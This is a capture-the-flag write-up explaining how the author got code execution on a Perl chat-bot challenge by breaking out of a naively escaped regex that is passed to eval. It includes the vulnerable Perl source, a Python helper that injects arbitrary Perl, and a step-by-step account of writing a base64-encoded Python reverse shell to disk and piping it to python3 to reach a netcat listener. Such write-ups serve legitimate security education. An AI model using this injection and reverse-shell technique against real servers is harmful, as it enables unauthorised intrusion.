Wizard Chat
for this challenge we were given a link to a website where we could chat with a bot and a segment of the code behind the bot's behaviour written in Perl. The objective was to get arbitrary code execution on the server running the site. Generally speaking the challenge was pretty straight forward with the only hurdle being familiarity with Perl and regular expressions. The code that was released is here:
1use Carp;
2
3use Mojolicious::Lite;
4use Mojo::JSON qw(decode_json encode_json);
5
6use lib ('/var/www/html');
7use Wizard;
8
9my $str;
10my $pattern;
11my %CACHED_PATTERNS;
12
13sub run_wizzard_censorship {
14 my ($str, $pattern) = @_;
15
16 unless (exists $CACHED_PATTERNS{$pattern}) {
17 (my $escaped_pattern = $pattern) =~ s!([/\$\[\(\.])!\\$1!g;
18 $CACHED_PATTERNS{$pattern} = eval "sub { \$_[0] =~ s/($escaped_pattern)/\"*\"x (length \$1)/gie }" or croak $@;
19 }
20 $CACHED_PATTERNS{$pattern}->($str);
21
22 return $str;
23}
24
25get '/' => sub {} => 'index';
26
27post '/send' => sub {
28 my $self = shift;
29 my $msg = $self->req->param("msg");
30 my $censored_words = $self->req->param("censored_words");
31
32 my $userMsg = run_wizzard_censorship($msg, $censored_words);
33
34 my $answer = encode_json {userMsg => $userMsg, wizardMsg => get_wizard_answer($userMsg)};
35 $self->render(json => $answer);
36};
37
38app->config(
39 hypnotoad => {
40 listen => [ 'http://[::1]:8080/' ],
41 proxy => 1,
42 },
43);
44
45app->secrets(['{REDACTED}']);
46
47app->start;
It was also useful to take a look at the http requests going to and from the website using the network tab of your browser's web development tools. You could see in those messages that the messages you typed and a list of censored words were sent to the site as part of the request, both within your control. Looking at the Perl code we can see on line 17 that first the censorship pattern is escaped using the regex s!([/\$\[\(\.])!\\$1!g
. Regexs are very terse and while I'm confident very useful in certain fields I don't use them enough to maintain much familiarity. I also find that they are overused in places where much more simplistic and easier to read code will suffice. So whenever I have to deal with a regex I like to use an online tool like https://regexr.com/ to ensure I haven't missed anything. It isn't perfect but especially with a regex that has a lot of escaping going on you want to make sure you don't incorrectly parse something. What we can see from the regex on line 17 is that it escapes a bunch of important control characters by adding \
in front of them.
On line 18 we can plainly see what we're looking for (even if you, like I, have never actually programmed in Perl or researched it much at all). In admist the ugly overly terse code we can see the word eval which of course just screams code injection. Inside this call to eval we can see that the $escaped_pattern
variable is just shoved into a regular expression. It appears to me that regular expressions are first class parts of Perl code leading to this really strange looking ?sub routine definition? on line 18.
The creator of the challenge revealed after the CTF that the expected way to solve this was to use Perl's ability to embed code directly into regular expressions but I never bothered to learn that much about Perl. Rather I just decided to escape out of the regular expression and write regular perl. This is possible because while the normal characters you would need to escape from the regex are escaped by the regex on line 17 they are done so naively. If /
becomes \/
then \/
becomes \\/
which is a literal \
followed by /
and that's the character we really need to finish off the regex. The #
character is enough to comment out the leftover perl from the line we're on and we can use \n
to create as many new lines of perl as we want. So a quick little python function using the requests library will let us mount arbitrary attacks using perl code:
1import requests
2
3def try_attack_raw(attack):
4 if type(attack) != str:
5 attack = attack.decode()
6 print(("hello)\\/\\/g;\n"+attack+";}\n# ").encode())
7 return post('http://wizardchat.ctf/send',data={'msg':'hello\\','censored_words':"hello)\\/\\/g;\n"+attack+";}\n# "}).text
Now we're faced with the problem of finding Perl code that does what we want. The escaped characters weren't an issue for us to escape the regex because they resulted in literal \
characters that didn't matter in the context of the regex. Theses characters would interfere with Perl code however. Luckily in Perl brackets are optional around function calls, though it can be dicey passing the result of one function as an argument to another function and commonly available reverse shells in Perl don't seem to support IPv6... So after some experimenting I found the best thing to do was to pass commands one at a time through the shell. While eval might make you think of exec you shouldn't use exec as after exec runs the command its given it kills its parent thread forcing you to have an organizer restart the container your wizard chat serer was running on. system is a better approach but it turns out that perl supports inline shell commands with backticks anyway. So now you can run arbitrary shell commands. Given I couldn't find an IPv6 capable perl reverse shell script I first tested to see if python was available with python3 -c "import time;time.sleep(4)"
which did in fact take a very long time to return, roughly 4 seconds more than usual as expected. To be honest I forget if I tried python or python3 but one of them worked. Now that I knew python was available I base64 encoded a python reverse shell with the details of our teams shell.ctf server in it and sent echo b64Shellcode > somefilename
. Then I logged into the provided shell.ctf server, started a netcat listener and finally sent the command base64 -d somefilename | python3
. This greeted me with a nice # in my netcat listener indicating that I was in. I don't actually remember where the flag was from there, but it was easy to find and just a matter of directory browsing.